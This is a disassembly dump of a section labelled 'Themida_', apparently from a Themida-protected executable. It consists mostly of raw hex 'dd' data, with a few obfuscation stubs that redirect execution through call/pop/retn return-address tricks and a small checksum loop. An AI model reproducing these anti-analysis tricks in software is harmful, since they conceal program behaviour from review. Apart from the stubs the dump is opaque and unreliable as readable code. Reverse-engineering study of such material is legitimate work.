		dd 4C4C9589h, 0E9505Fh,	8D000000h, 0F8E79B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 3188BA2Eh, 0B3301BDh, 71BD8B06h, 6A060B28h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 4FEF7F0Ch, 6784F0BDh, 127D9D89h, 95FF060Bh, 60B32DDh
		dd 0B9E1CB80h, 1075h, 29A18D31h, 0E183060Bh, 69B589FCh
		dd 0FC060B11h, 41B50160h, 66060B0Fh, 61EF10B8h,	0B8FB8B66h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_58D3EF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D3EF	proc near		; CODE XREF: Themida_:0058D3E7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_58D3EF	endp

; ---------------------------------------------------------------------------
		push	esi
		sub	[eax-75h], dl
		fistp	word ptr [ebx+2Bh]
		popf
		jnz	short near ptr loc_58D41A+2
		or	eax, [esi]
		mov	edx, 0
		adc	bh, 17h


loc_58D413:				; CODE XREF: Themida_:0058D41Dj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax


loc_58D41A:				; CODE XREF: Themida_:0058D407j
		sub	ecx, 4
		jnz	short loc_58D413
		push	0
		push	esi
		call	sub_58D42A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D42A	proc near		; CODE XREF: Themida_:0058D422p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_58D42A	endp

; ---------------------------------------------------------------------------
		dw 7143h
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_58D447
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D447	proc near		; CODE XREF: Themida_:0058D43Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_58D447	endp

; ---------------------------------------------------------------------------
		db 41h
		dd 99EE8D86h, 89CE8033h, 0B0531B5h, 880D06h, 81660000h
		dd 0FE251EBh, 1587h, 9E800h, 0CC820000h, 0AABB58FDh, 811D6B6Ah
		dd 7DED36DFh, 958B5F45h, 60B174Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 36C35343h, 0FF90E64h, 8D8BDAB7h
		dd 60B0119h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0F2C35040h, 2449B589h, 0CB81060Bh, 76407ADCh, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 13E95818h,	0DF000000h
		dd 0C51A07FAh, 29079FA0h, 85F945A7h, 0B3B601E4h, 0BD8B9505h
		dd 60B30E5h, 29BDBD83h,	0F00060Bh, 0A284h, 11E86000h, 0A0000000h
		dd 2E6C1BCCh, 21CA87DCh, 93693310h, 0FB1F3BBAh,	20E5BD01h
		dd 895B060Bh, 0B20259Dh, 0D3816106h, 313282B7h,	0B8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0FEB64227h, 0CFDF8166h, 0D78D8D22h, 66060B4Dh, 0A5C0DF81h
		dd 6850Fh, 0BD8B0000h, 60B0DC1h, 6AE1FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 9F6C9AC3h
		dd 0C88E2773h, 0FF5D4DFh, 489h,	4DB75100h, 0C99D8B5Bh
		dd 83060B29h, 0B1009BDh, 840F0006h, 4DDh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 16h, 48C35646h, 8166DDF2h
		dd 0F95A6CF7h, 134D9D8Bh, 0BD83060Bh, 60B1009h,	0C1840F01h
		dd 89000004h, 0B20F585h, 0DF8B6606h, 1009BD83h,	0F03060Bh
		dd 47586h, 9C06BF00h, 6A605BB1h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0D704C357h,	0A1C1CFA5h
		dd 0DEB70FAFh, 6AD98C66h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 1F79C350h, 26F0AF29h
		dd 0E9FF1914h, 5, 133577C7h, 4E180B0h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 2DC35646h, 5D3C0A1Eh, 89DBB90Ah
		dd 0B0AD58Dh, 0FC90A06h, 11A84h, 7E900h, 0B4A70000h, 0BC2D8BAEh
		dd 11958979h, 8B060B09h, 0B317D85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0F5CB3FF7h
		dd 66F20339h, 9589FE8Bh, 60B2F35h, 6ED8533h, 6A060Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 88F9BEC3h, 7C28C3A9h, 1C1EBB50h, 48937E9h, 44D38124h
		dd 6A049B5Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 234A3755h, 91BC8581h, 8E9C6h, 1FCF0000h
		dd 4969592Fh, 0A8683535h, 53D092A1h, 815FD98Bh,	62572404h
		dd 6A2F8Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0FFE3F8C3h, 0B03D195h, 0CDBD8B06h, 89060B19h
		dd 0EA81D85h, 13E906h, 0BBA30000h, 0A5766037h, 3E6F9F78h
		dd 0D27B6747h, 3F409BAAh, 253E99Ah, 7E80000h, 36000000h
		dd 0BEC6C8CFh, 0BF668E2Fh, 8B5BE204h, 0EA81585h, 0C7FB8B06h
		dd 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 85D1327Ah, 5FB73C4Ch, 0A819B58Bh
		dd 0BD8B060Eh, 60B31A1h, 6E1858Bh, 9589060Bh, 60B06F1h
		dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 5845E4C3h, 7D858B73h, 6A060B31h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0EC34C352h, 0D8456483h, 299D2322h, 89060B02h, 6A0446h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 35171AC3h, 38B032B3h, 8B5660E9h, 0B1745B5h, 59525E06h
		dd 40BB5061h, 892409A6h, 6A2434h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 654EF3C3h, 14CB4027h
		dd 8F0F916Ch, 0Eh, 8F0F60h, 8B000000h, 0B1BA1B5h, 89606106h
		dd 0B177D95h, 97F18106h, 61638476h, 0A815B5FFh,	0CE9060Eh
		dd 0EE000000h, 0AEC7B193h, 71642F74h, 0F2E23E9h, 1F8Ch
		dd 13E800h, 90160000h, 0C7E8AA01h, 9A57912Fh, 1C2B3264h
		dd 71D24058h, 19BD8B8Fh, 5B060B0Dh, 3D1DFA68h, 81FE8AC6h
		dd 0E6052404h, 6A39E1h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0F9581BC3h, 0A81D858Dh, 6A060Eh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 8F98B0C3h, 0C6EAAE65h, 9D89F448h, 60B29F1h, 10E9h, 311A5B00h
		dd 547F0BFFh, 273C141Bh, 0B600B4F1h, 0C9D380ACh, 9E890h
		dd 0DE690000h, 431D261Bh, 5710414Fh, 5FDF8B66h,	0BB66505Fh
		dd 6A901256h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 11EEC350h, 5BD03FD6h, 12B9BD89h
		dd 95FF060Bh, 60B03D1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0ECC35141h, 0A67F8D51h, 8B66BEBFh, 68D0FFBh
		dd 81000000h, 27490DEFh, 0BF666139h, 85C7BF3Dh,	60B1009h
		dd 3, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h, 14h
		dd 0D0C35545h, 0A5EF8056h, 8D01F95Bh, 60B0EB5h,	0A81DBD83h
		dd 0F00060Eh, 4584h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 24CC3B11h, 0D8771464h
		dd 0CE8h, 5AC35300h, 86DEDAA0h,	0A8CCFFDCh, 0E7816691h
		dd 0E95FA5C7h, 21h, 3271BD23h, 3050060Bh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 346AED67h
		dd 1DB4AC10h, 0BD8B9619h, 60B1505h, 0CDBD0960h,	61060B02h
		dd 9E9h, 999E7C00h, 0BBFAEB43h,	820F3D8Ch, 6, 328D8D31h
		dd 0D88B060Bh, 1009BD83h, 0F03060Bh, 42E85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 72DE6E36h, 0DF816657h, 835FB0F1h, 0EA81DBDh,	840F0006h
		dd 3FBh, 8B19D8Bh, 0B5FF060Bh, 60EA81Dh, 10219D0Bh, 95FF060Bh
		dd 60B083Dh, 12E9F8h, 38760000h, 3D2C08FFh, 0A296E20Dh
		dd 40ACBC2Ah, 0B54E4366h, 0A811B58Bh, 8B66060Eh, 106C7FAh
		dd 66000100h, 96AF9DBBh, 5050FA8Bh, 2820F52h, 60000000h
		dd 5A310F61h, 810F9658h, 26h, 0FE8h, 0B9EE6D00h, 14B63847h
		dd 0E3717E69h, 4196037Dh, 0CE9h, 0CF328000h, 0FB95F014h
		dd 2A0D75DEh, 0B5FF5B7Dh, 60EA81Dh, 33819D8Bh, 95FF060Bh
		dd 60B0641h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	70C35545h, 0BD89427Dh, 60B0515h, 28B0F50h, 60000000h
		dd 0B58B5B61h, 60EA811h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 17h, 3EC35242h, 0B748616Bh
		dd 8E86Ah, 380D0000h, 15D4BF5Ch, 5FF855A6h, 121D858Bh
		dd 0BB66060Bh, 8689F719h, 0C4h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 5C35141h, 78152E57h, 5DD2EEFh
		dd 8509609Fh, 60B00B9h,	97D8D89h, 8B61060Bh, 0B174D95h
		dd 4C28306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0B2C35040h, 0BF66B9C9h,	5089CB81h, 0D59D0920h
		dd 8B060B28h, 0B06E9BDh, 0EE858D06h, 29060EBAh,	0B2AD9BDh
		dd 0B8868906h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E8C3C357h,	6, 65A70902h
		dd 6A5F9076h, 0BCBB6600h, 1DB5FF92h, 80060EA8h,	95FF55DFh
		dd 60B0F15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	16C35646h, 280A42F3h, 78FCA7Dh,	0BB6650D9h, 34892822h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 11EB8075h, 0A81DB5FFh, 820F060Eh, 6, 2E659D0Bh
		dd 8166060Bh, 0FF10F8E3h, 0B00F595h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0E9707A37h
		dd 2DE99D23h, 0BD83060Bh, 60B2191h, 64840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0C09EC357h, 19059D29h, 8166060Bh,	96DFE9C7h
		dd 0C169BB66h, 9605B750h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0D4C35242h, 0E8CB253Dh, 0Ah, 5382F52Ah
		dd 967DDCCCh, 0BB664D4Bh, 0FF5B98E6h, 0EA81DB5h, 0DFB70F06h
		dd 128195FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 424F6EC3h, 0FA9815CEh, 8B6A242Ah
		dd 0B15F99Dh, 1DB5FF06h, 6A060EA8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8376C351h
		dd 590AFDB6h, 8B66603Eh, 0C9BD89C7h, 61060B0Ah,	0B8D95FFh
		dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F8396DC3h, 0CE9h, 187D9600h, 0F69DE8A0h
		dd 0F988298Eh, 0F1BD8362h, 2060B17h, 6F840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 94BF1CC3h, 67B5A9B2h, 0DF814679h, 6903E843h,	2EC5858Bh
		dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0B39D16C3h, 0C63Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 26C35141h, 0B985C747h, 60B06h
		dd 0E8000000h, 8, 1250E9ACh, 0B60C2ABh,	0E91EB75Bh, 0FFFFF2A5h
		dd 16219589h, 0C18B060Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0DAC35646h, 0B71C5848h, 0B026C4D8h, 719D89F5h
		dd 0EB060B1Fh, 0E784F04h, 5C5E905h, 0C2D40000h,	68BF688Bh
		dd 1E6D9A59h, 0CFD73023h, 7E8263F0h, 3E259C47h,	79FAC5DFh
		dd 0A94A778Ch, 0C61D287Ch, 72E1DC29h, 0BFCB6389h, 30C58402h
		dd 0D5DEDB41h, 5F231E6Dh, 1D6D198Dh, 98E2C394h,	0F4C3D5A4h
		dd 277D2C90h, 0D92ADB18h, 64B118ECh, 0E134E569h, 0E246CD0h
		dd 7D8875FFh, 1D5632BAh, 0E1D9C394h, 99EA638Dh,	4E56B7ACh
		dd 8BFF7781h, 1CC3941Dh, 1D5A2E26h, 0E2DC394h, 683A1082h
		dd 574BAF2Dh, 0A8001885h, 0BA9E625Fh, 709EF246h, 370E16F7h
		dd 77139B25h, 0F83C6BF9h, 3DEC6482h, 0C3872FE4h, 443C6BF9h
		dd 0C7B61A7Eh, 4D3C80BFh, 0D4850934h, 0CD01F5C0h, 971DA8C8h
		dd 6BF96B1Fh, 0A286FC3Ch, 234BD597h, 3C6BF9A7h,	15E2DF26h
		dd 24A1032Dh, 459EA9FFh, 9E625FA8h, 6BF93756h, 806DFF3Ch
		dd 0EA8467Bh, 59EB75FFh, 6BF9B1D5h, 4CC363Ch, 3C6BF940h
		dd 0EB55F3C7h, 3240D542h, 9E6Fh, 710FD00h, 0DE261CCAh
		dd 2D186DD5h, 0BD016559h, 0D63230AFh, 0D933B28Ah, 0C825A72Fh
		dd 63E1C394h, 0EC506DB2h, 0F8DCEB3Dh, 0D359544Eh, 0C8592D41h
		dd 412EC394h, 58210538h, 65D7714Ch, 3241C4C4h, 1EDh, 50BD0B00h
		dd 4D817548h, 0B55BAAA3h, 47A33A01h, 0D6BA9E1Fh, 3B211067h
		dd 6482BFCAh, 0DEE53DECh, 0BF92E10Ch, 271E62CBh, 0ED1B7F53h
		dd 803F2D65h, 0F99CA43h, 0EA846C2h, 7D8875FFh, 5CABA24Ch
		dd 0A588FFB6h, 0B6AAF24Bh, 0E42179A4h, 94270440h, 53B78BC3h
		dd 0C0D532B5h, 0BD966EF5h, 80BDC233h, 941D0440h, 99B78BC3h
		dd 76A76CB4h, 0B0D41C21h, 37C3941Dh, 262A34C3h,	0E827898Ah
		dd 24F966F4h, 4931B03Bh, 0A291E950h, 0CADD8C84h, 0A128156Ah
		dd 0B0947857h, 0F40EE85Ch, 350810F9h, 4E3DA22Eh, 0A68C5E7Ah
		dd 8408454Eh, 4BC26C40h, 0CEBF033Eh, 90F478C3h,	17C3947Fh
		dd 0C67BCF23h, 39D3D2h,	29324155h, 9Bh,	0D6DC1C43h, 8FAD9F0h
		dd 2EE196CFh, 23CDCF9Eh, 6EDADE3Dh, 675B2F26h, 0C3CEBF03h
		dd 46533A8Eh, 0CDD6870Bh, 0C0FF09F0h, 8F1E147Ch, 0C9993F3h
		dd 0B1A29DE7h, 8D714C54h, 1A6AC6DCh, 1D3551D5h,	40BAC394h
		dd 0D5A4986Ch, 2C90F4C3h, 867A8B29h, 3240F357h,	0D7B33B45h
		dd 58C39417h, 633DC462h, 0DB000000h, 754850BDh,	172E72DBh
		dd 0E70F99A3h, 0C3941DE3h, 1DF01E64h, 0B12E3C0Bh, 0A8717773h
		dd 0D931DF0Ch, 8B119CC4h, 493D041Ah, 191F6B83h,	0AA90C394h
		dd 6FB598B6h, 0DE758350h, 0DE16FAD7h, 0C3941DAFh, 1BEFE62Eh
		dd 0E66A67B2h, 1DB4D054h, 0C73BC394h, 0DCAE3F79h, 0A55F6E24h
		dd 3240F084h, 1ADh, 0D3DE4B00h,	56A30AFEh, 2E6A977Bh, 162B769Fh
		dd 700B91CDh, 0FC7742EAh, 82F8BD9Eh, 22A6CE58h,	0A53A60C0h
		dd 0EE5FB35Dh, 5A4BA8A5h, 58887C49h, 3A60C02Ah,	23C8C51Fh
		dd 8F78FBD6h, 6DC5DA7Ah, 45C92D18h, 0F0592D01h,	7826AAA7h
		dd 0F825AF3Eh, 0D62A9EA3h, 60C0D538h, 1EC53914h, 0FE146392h
		dd 204F8D5Dh, 0E76B4F9Dh, 729B85A3h, 5F2C35A2h,	135h, 211EBDB9h
		dd 4B77B336h, 207C40EEh, 3C5DD11Bh, 0DCBD9E42h,	92AEDA52h
		dd 0D9213A61h, 2A7FD02Fh, 0E6573B1Fh, 0D1EC359Dh, 2E35296Dh
		dd 3599B4C1h, 90ADF627h, 0CF3EE82Ch, 523B8FBAh,	0D7860A47h
		dd 1401F5C4h, 837D119Ch, 8A9F0481h, 3B40ADBFh, 0FD0FE806h
		dd 41350810h, 0D079E30Dh, 0F92C367Fh, 48h, 770C6F07h, 1D5541E5h
		dd 0E0DAC394h, 1DB0D41Ch, 88A2C394h, 1656257Dh,	77813DEDh
		dd 0C3B7BF58h, 0E408D236h, 0C3947BB0h, 74D82BDAh, 17311520h
		dd 0D4B03438h, 5BC3947Bh, 21D00367h, 91h, 8FC6CE3Fh, 3329C73Bh
		dd 0E4760D6Fh, 9F052140h, 0FF8FAEBDh, 1CB7B5AFh, 0EC7EC226h
		dd 2CDAF901h, 7AF9D421h, 9F4D788Dh, 0A658EE20h,	729C9C45h
		dd 9409569Eh, 0D0003A60h, 0EEDB2CD5h, 0C8532975h, 0B7FB8A22h
		dd 0F8744470h, 70751074h, 4FA39730h, 340112FBh,	0CEDFD540h
		dd 0ED7F0498h, 0D434224Eh, 0CE02F6C3h, 2504C631h, 0BCCD610Bh
		dd 314E6014h, 4D39AD3Fh, 0C22E4018h, 181C68F8h,	74932E40h
		dd 61C5BDE7h, 0BB44B8DBh, 0B331E4A3h, 6DF6EA9Ah, 4B50BD97h
		dd 0C7958276h, 4BDAEDA3h, 6B33DD31h, 811FC11h, 0C50D4135h
		dd 0C3940781h, 0A3412146h, 3483A27Ch, 8B7F425Bh, 0ED7F53B7h
		dd 84B20879h
		dd 0C9BD85BDh, 5AAF1760h, 370575B4h, 0AD81FC52h, 5281E5D9h
		dd 0E5D427D6h, 88BFF77h, 261C3A64h, 50F00508h, 0A2160A47h
		dd 79E46D82h, 0B2336939h, 0D60D384Dh, 6DD1EC39h, 0EB5F66BCh
		dd 52BB4A4Eh, 54E67441h, 0A526A2CAh, 51A93545h,	45A5F591h
		dd 0E6007A35h, 4C97E00Dh, 45A5ACD8h, 0F0042335h, 0C83ED4AEh
		dd 996D41A5h, 326h, 9C844E00h, 9FDD4DEh, 967A57A0h, 12E6D127h
		dd 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h,	0FC407988h
		dd 7BCFFA0Dh, 0E28952CFh, 4C281h, 0EA830000h, 24148704h
		dd 2434895Ch, 2FF268h, 24148900h, 1F6368h, 240C8900h, 16976851h
		dd 0C8B1110h, 4C48324h,	88C18149h, 8148DC5Dh, 0FC6B14F1h
		dd 59CA895Fh, 1CFD68h, 24248900h, 4240481h, 59000000h
		dd 4EC81h, 14890000h, 8418F24h,	592434FFh, 4C481h, 148B0000h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FB5A6EE9h
		dd 75CC1AFFh, 0B80FA743h, 6102449h, 0E0FFC503h,	1700BC92h
		dd 9A99837h, 1A80CFB1h,	12FE6FC3h, 5244D270h, 7B5BB138h
		dd 6DC4C829h, 20CC1602h, 652D4EB1h, 3C658C20h, 4CB720B9h
		dd 3EE035F1h, 0A8A7A16h, 47C41AA1h, 7A798AF6h, 559BE1BAh
		dd 69EB2700h, 45D2457Ch, 28A9858Dh, 0BB66060Bh,	0E9907F1Dh
		dd 0Fh,	3174E8B1h, 0CBF4431h, 0D930FB37h, 5071E2F6h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 6A50B8h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 14h,	93C35141h, 2DE9B589h, 810F060Bh, 6, 30DBD8Bh, 6A060Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EBC35545h
		dd 9D2798D8h, 317CD12Bh, 0B0EB5BDh, 3840F06h, 0F000000h
		dd 858DFFB7h, 610270Fh,	23F78166h, 5C08332h, 89BD8Bh, 0BF50060Bh
		dd 767E8381h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0D954C355h,	0F5C6842h
		dd 981686C8h, 1D19D09h,	6A060Bh, 0E94BCB80h, 0Eh, 95788B1Bh
		dd 0A6685C33h, 66D2FF42h, 6AB64Dh, 0C690BB66h, 9E9h, 28002600h
		dd 0BA99B7B3h, 95FFF8D9h, 60B2F21h, 18B0Fh, 81F80000h
		dd 610FCFh, 0B08D8D16h,	6A060EA7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 1C10C355h
		dd 896F880Fh, 0B0689BDh, 359D0B06h, 0FF060B13h,	0FDBD8BD1h
		dd 83060B03h, 0B0B19BDh, 850F0106h, 7Fh, 0D858960h, 66060B06h
		dd 97EBE281h, 6A026A61h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0EB65C350h,	0BB669034h
		dd 6050BAB6h, 0F525060h, 60585A31h, 52506161h, 310F5A50h
		dd 9061585Ah, 5E9h, 0F1B61F00h,	95FFC295h, 60B0F15h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 2CC35343h, 0F5D5BB56h
		dd 0CFBB59C0h, 0E963E567h, 0DC3h, 0E8h,	0ED815D00h, 6102719h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C5C35343h
		dd 0BD8BF98Bh, 60B240Dh, 9293858Dh, 8531060Eh, 60B0671h
		dd 0F98B6690h, 4402BB50h, 0E9904BD2h, 12h, 0C32B5778h
		dd 2942A032h, 5CDD6FD4h, 0AC372752h, 0FF6479ADh, 35h, 79958900h
		dd 64060B1Fh, 2589h, 0EB810000h, 75D5EEDFh, 66D85FFh, 6A060Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 573ABDC3h, 91BD8B7Dh, 6A060B24h, 759D8BFFh, 0FF060B2Eh
		dd 0B12A9B5h, 95FFF506h, 60B2411h, 109E9h, 198D8900h, 0B0060B06h
		dd 1953100h, 0E6060B1Bh, 0B70F5170h, 71E45FDBh,	0D9BAD781h
		dd 613C299Dh, 0E4830Fh,	0BD8B0000h, 60B0809h, 0BAC8B60Fh
		dd 6, 15159D8Bh, 0EE9060Bh, 27000000h, 0A37C97C4h, 778E1C41h
		dd 0E4293222h, 1C18BB5h, 0B1829BDh, 4E8C106h, 14D9D8Bh
		dd 0F766060Bh, 8AC82BE2h, 8AD18BF8h, 9CE9DCh, 85090000h
		dd 60B1671h, 158DBD8Bh,	858B060Bh, 4947554Ch, 21199D8Bh
		dd 9E9060Bh, 53000000h,	0A573854Eh, 9FBE3693h, 0E907C083h
		dd 13h,	0ACCBB840h, 48F295E1h, 0E8F01160h, 855EA9CDh, 8377E4C3h
		dd 0B50900C0h, 60B1169h, 2B61B589h, 0D03B060Bh,	13830Fh
		dd 9D8B0000h, 60B0AD1h,	39E9h, 0A597BB00h, 8B665D29h, 0FF8D8BDAh
		dd 8AFFFFFFh, 1E183FEh,	20840Fh, 9D290000h, 60B010Dh, 0FFFFA583h
		dd 89FEFFFFh, 47554C95h, 0BD0B5049h, 60B0DEDh, 0E95Fh
		dd 0B58D0000h, 60F9EEEh, 1609BD89h, 6A060Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9C35141h, 0AA3CE9B0h
		dd 8DBD8BC5h, 0FF060B09h, 0B32DD95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0EC51BDF6h
		dd 0E9AFAAEEh, 0Fh, 0FCFB8351h,	44C48616h, 30C064A0h, 8BC464D4h
		dd 0E48B9F9h, 83F90000h, 810FFCE1h, 6, 29FD9D89h, 6AFC060Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 6997C353h, 7F887F0Fh, 8956FF0Bh, 0B31958Dh
		dd 0C02B5F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	7AC35747h, 5204378Fh, 0C8B7D22Bh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 6AD98Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0D554A1C3h, 1B91BD8Bh, 9D8B060Bh
		dd 60B17B9h, 5E8h, 8260C00h, 13E9713Dh,	0
		dd 5FD45960h, 18EFF2B2h, 4D765882h, 2A41A9C6h, 0D5FC8D9h
		dd 88h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 0EAC35141h, 899509h,	958B060Bh, 60B174Dh, 5D9D0360h
		dd 0FC060B03h, 198D8B61h, 6A060B01h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B010C357h
		dd 0E4F51CB6h, 506CF2B1h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0B5E3A968h, 292D9D09h, 6A060Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 21556EC3h, 0E86E5AA9h, 0Dh, 0FF140C4Eh, 56C999F4h, 31297950h
		dd 11E9ACh, 0C2730000h,	469A69D8h, 0B46FF5C9h, 0FAACEE16h
		dd 5F4952D6h, 13E9h, 0B8932700h, 0A1F0C024h, 87602E08h
		dd 7CBA3A0Eh, 79723574h, 29BDBD83h, 0F00060Bh, 4A84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 972FFD8Dh, 0B8h, 85BD8B00h, 0F060B2Eh, 688h,	719D2B00h
		dd 8D060B18h, 0B4DD78Dh, 8DBD8B06h, 0FF060B03h,	699D8BE1h
		dd 83060B06h, 0B1009BDh, 840F0006h, 499h, 3860Fh, 8B660000h
		dd 9BD83FAh, 1060B10h, 49E840Fh, 8B660000h, 9BD83DAh, 3060B10h
		dd 458860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 60E99BC3h, 0F9D8B70Fh, 6AD98C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 91CEC351h, 1AC393E0h, 0B3D0AF09h,	4E1806Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2CC35747h
		dd 7192B104h, 7D8D894Fh, 60060B02h, 8531F28Bh, 60B31B5h
		dd 0FC90A61h, 1B484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 708B33CAh, 8BFB8B66h
		dd 0B1FADBDh, 7D858B06h, 8B060B31h, 0B2729BDh, 5810F06h
		dd 66000000h, 0AC28E781h, 6ED8533h, 6A060Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 73CAE9C3h
		dd 57A2A5E0h, 9E9h, 2CDF9000h, 0EAA00A4Ah, 8A0F5A78h, 3
		dd 90FA8B66h, 0CE860h, 0FA990000h, 0E907DF31h, 0CF0F3969h
